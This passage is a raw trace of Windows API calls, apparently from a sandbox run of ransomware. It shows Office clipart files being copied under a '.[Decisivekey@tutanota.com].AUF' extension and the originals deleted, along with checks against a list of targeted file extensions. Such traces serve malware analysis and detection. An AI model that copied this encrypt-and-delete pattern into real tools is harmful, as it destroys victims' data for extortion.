lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.872] GetLastError () returned 0x0 [0216.872] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x34cb, lpOverlapped=0x0) returned 1 [0216.873] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x34d0, lpOverlapped=0x0) returned 1 [0216.874] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.874] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.874] SetEndOfFile (hFile=0x1f8) returned 1 [0216.874] CloseHandle (hObject=0x1f8) returned 1 [0216.875] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.875] SetEndOfFile (hFile=0x20c) returned 1 [0216.875] CloseHandle (hObject=0x20c) returned 1 [0216.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0216.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0216.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0216.876] lstrlenW (lpString=".doc") returned 4 [0216.876] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.876] lstrlenW (lpString=".docx") returned 5 [0216.876] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.876] lstrlenW (lpString=".pdf") returned 4 [0216.876] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.876] lstrlenW (lpString=".xls") returned 4 [0216.876] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.876] lstrlenW (lpString=".xlsx") returned 5 [0216.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.876] lstrlenW (lpString=".ppt") returned 4 [0216.876] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0216.876] lstrlenW (lpString=".zip") returned 4 [0216.876] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.876] lstrlenW (lpString=".rar") returned 4 [0216.876] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.876] lstrlenW (lpString=".bz2") returned 4 [0216.876] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.876] lstrlenW (lpString=".7z") returned 3 [0216.876] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0216.876] lstrlenW (lpString=".dbf") returned 4 [0216.876] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0216.876] lstrlenW (lpString=".1cd") returned 4 [0216.876] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0216.876] lstrlenW (lpString=".jpg") returned 4 [0216.876] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.877] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=20189) returned 1 [0216.877] CloseHandle (hObject=0x20c) returned 1 [0216.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 0x20 [0216.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.894] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.894] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.894] GetLastError () returned 0x0 [0216.894] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x4edd, lpOverlapped=0x0) returned 1 [0216.896] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x4ee0, lpOverlapped=0x0) returned 1 [0216.896] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.896] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.896] SetEndOfFile (hFile=0x1f8) returned 1 [0216.897] CloseHandle (hObject=0x1f8) returned 1 [0216.897] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.897] SetEndOfFile (hFile=0x20c) returned 1 [0216.897] CloseHandle (hObject=0x20c) returned 1 [0216.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0216.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0216.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0216.898] lstrlenW (lpString=".doc") returned 4 [0216.898] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.898] lstrlenW (lpString=".docx") returned 5 [0216.898] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.898] lstrlenW (lpString=".pdf") returned 4 [0216.898] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.916] lstrlenW (lpString=".xls") returned 4 [0216.916] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.916] lstrlenW (lpString=".xlsx") returned 5 [0216.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.917] lstrlenW (lpString=".ppt") returned 4 [0216.917] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0216.917] lstrlenW (lpString=".zip") returned 4 [0216.917] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.917] lstrlenW (lpString=".rar") returned 4 [0216.917] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.917] lstrlenW (lpString=".bz2") returned 4 [0216.917] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.917] lstrlenW (lpString=".7z") returned 3 [0216.917] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0216.917] lstrlenW (lpString=".dbf") returned 4 [0216.917] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0216.917] lstrlenW (lpString=".1cd") returned 4 [0216.917] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0216.917] lstrlenW (lpString=".jpg") returned 4 [0216.917] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.917] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=20454) returned 1 [0216.917] CloseHandle (hObject=0x20c) returned 1 [0216.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 0x20 [0216.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.918] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.918] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.925] GetLastError () returned 0x0 [0216.925] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x4fe6, lpOverlapped=0x0) returned 1 [0216.926] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x4ff0, lpOverlapped=0x0) returned 1 [0216.927] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.927] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.927] SetEndOfFile (hFile=0x1f8) returned 1 [0216.927] CloseHandle (hObject=0x1f8) returned 1 [0216.928] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.928] SetEndOfFile (hFile=0x20c) returned 1 [0216.928] CloseHandle (hObject=0x20c) returned 1 [0216.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0216.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0216.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0216.929] lstrlenW (lpString=".doc") returned 4 [0216.929] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.929] lstrlenW (lpString=".docx") returned 5 [0216.929] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.929] lstrlenW (lpString=".pdf") returned 4 [0216.929] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.929] lstrlenW (lpString=".xls") returned 4 [0216.929] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.929] lstrlenW (lpString=".xlsx") returned 5 [0216.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.929] lstrlenW (lpString=".ppt") returned 4 [0216.929] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0216.929] lstrlenW (lpString=".zip") returned 4 [0216.929] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.929] lstrlenW (lpString=".rar") returned 4 [0216.929] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.929] lstrlenW (lpString=".bz2") returned 4 [0216.929] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.929] lstrlenW (lpString=".7z") returned 3 [0216.929] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0216.929] lstrlenW (lpString=".dbf") returned 4 [0216.929] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0216.929] lstrlenW (lpString=".1cd") returned 4 [0216.929] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0216.929] lstrlenW (lpString=".jpg") returned 4 [0216.929] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.930] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=12982) returned 1 [0216.930] CloseHandle (hObject=0x20c) returned 1 [0216.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x20 [0216.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.930] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.930] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.930] GetLastError () returned 0x0 [0216.931] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x32b6, lpOverlapped=0x0) returned 1 [0216.932] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0216.933] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.933] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.933] SetEndOfFile (hFile=0x1f8) returned 1 [0216.933] CloseHandle (hObject=0x1f8) returned 1 [0216.933] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.933] SetEndOfFile (hFile=0x20c) returned 1 [0216.934] CloseHandle (hObject=0x20c) returned 1 [0216.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0216.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0216.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0216.935] lstrlenW (lpString=".doc") returned 4 [0216.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.935] lstrlenW (lpString=".docx") returned 5 [0216.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.935] lstrlenW (lpString=".pdf") returned 4 [0216.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.935] lstrlenW (lpString=".xls") returned 4 [0216.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.935] lstrlenW (lpString=".xlsx") returned 5 [0216.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.935] lstrlenW (lpString=".ppt") returned 4 [0216.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0216.936] lstrlenW (lpString=".zip") returned 4 [0216.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.936] lstrlenW (lpString=".rar") returned 4 [0216.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.936] lstrlenW (lpString=".bz2") returned 4 [0216.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.936] lstrlenW (lpString=".7z") returned 3 [0216.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0216.936] lstrlenW (lpString=".dbf") returned 4 [0216.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0216.936] lstrlenW (lpString=".1cd") returned 4 [0216.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0216.936] lstrlenW (lpString=".jpg") returned 4 [0216.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.950] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.950] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.951] GetLastError () returned 0x0 [0216.951] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x25ee, lpOverlapped=0x0) returned 1 [0216.973] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x25f0, lpOverlapped=0x0) returned 1 [0216.974] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.974] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.974] SetEndOfFile (hFile=0x1f8) returned 1 [0216.982] CloseHandle (hObject=0x1f8) returned 1 [0216.984] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.985] SetEndOfFile (hFile=0x20c) returned 1 [0216.988] CloseHandle (hObject=0x20c) returned 1 [0216.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0216.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0216.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0216.991] lstrlenW (lpString=".doc") returned 4 [0216.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.991] lstrlenW (lpString=".docx") returned 5 [0216.991] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.991] lstrlenW (lpString=".pdf") returned 4 [0216.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.991] lstrlenW (lpString=".xls") returned 4 [0216.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.991] lstrlenW (lpString=".xlsx") returned 5 [0216.991] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.991] lstrlenW (lpString=".ppt") returned 4 [0216.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0216.991] lstrlenW (lpString=".zip") returned 4 [0216.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.991] lstrlenW (lpString=".rar") returned 4 [0216.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.991] lstrlenW (lpString=".bz2") returned 4 [0216.991] 